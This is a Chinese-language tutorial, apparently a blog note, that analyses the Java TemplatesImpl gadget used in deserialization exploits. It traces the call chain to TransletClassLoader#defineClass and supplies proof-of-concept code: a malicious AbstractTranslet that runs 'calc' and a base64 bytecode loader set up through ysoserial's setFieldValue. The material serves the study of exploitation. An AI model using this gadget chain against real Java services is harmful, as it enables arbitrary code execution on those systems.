一、TemplatesImpl
虽然大部分上层开发者不会直接使用到defineClass方法,但是Java底层还是有一些类用到了它(否则他
也没存在的价值了对吧),这就是TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类
TransletClassLoader
这个类里重写了defineClass 方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个
方法没有显式声明作用域,其作用域为default,为包作用域, 即可以在同一个包内被调用
。所以也就是说这里的defineClass 由其父类的
protected类型变成了一个default类型的方法,可以被类外部调用。
二、调用分析
我们从TransletClassLoader#defineClass() 向前追溯一下调用链:
-
TemplatesImpl 类中只有一个方法 TemplatesImpl#defineTransletClasses 用到了 TransletClassLoader 类,但是 TemplatesImpl#defineTransletClasses 是 private 类型。继续跟看哪调用了 TemplatesImpl#defineTransletClasses 方法。
-
有三个方法调用了 TemplatesImpl#defineTransletClasses(), 其中 TemplatesImpl#getTransletIndex() 是 public 类型的, TemplatesImpl#getTransletClasses() 和 TemplatesImpl#getTransletInstance() 是 private 属性的。
public synchronized int getTransletIndex() //直接调用发现没有成功
private synchronized Class[] getTransletClasses()
private Translet getTransletInstance()
这里可以尝试直接用
TemplatesImpl#getTransletIndex(),那么调用链如下:但是发现并没有成功。
TemplatesImpl#getTransletIndex() -> TemplatesImpl#defineTransletClasses() -> TemplatesImpl#defineTransletClasses() -> defineClass
-
继续跟 TemplatesImpl#getTransletClasses() 和 TemplatesImpl#getTransletInstance(), TemplatesImpl 类中已经没有调用 getTransletClasses() 的方法了,而 getTransletInstance() 方法在 public synchronized Transformer newTransformer 方法中被调用了,所以构造如下链,P牛用的就是如下的链。
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
-
再继续跟进 TemplatesImpl#newTransformer() 发现 TemplatesImpl#getOutputProperties() 调用了 TemplatesImpl#newTransformer() 并且它也是 public 类型的,如下也成功触发。(这一利用链也正好符合了fastjson的利用条件)
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
三、利用分析:
1.setFieldValue 方法是ysoserial中用来设置私有属性的
-
_bytecodes 是由字节码组成的数组;
-
_name 可以是任意字符串,只要不为null即可;
-
_tfactory 需要是一个TransformerFactoryImpl 对象,因为 TemplatesImpl#defineTransletClasses() 方法里有调用到 _tfactory.getExternalExtensionsMap() ,如果是null会出错。
2.TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须
是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。
-
例如如下代码中继承了AbstractTranslet。
-
构造函数中执行calc弹出计算器。
package com.TemplastesImplTest;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class codeTest extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public codeTest() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
-
进行base64编码
-
替换到图下code对象代码中,执行即可弹出计算器
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.util.Base64;
import static ysoserial.payloads.util.Reflections.setFieldValue;
public class TemplatesTest {
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "test");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
}
参考: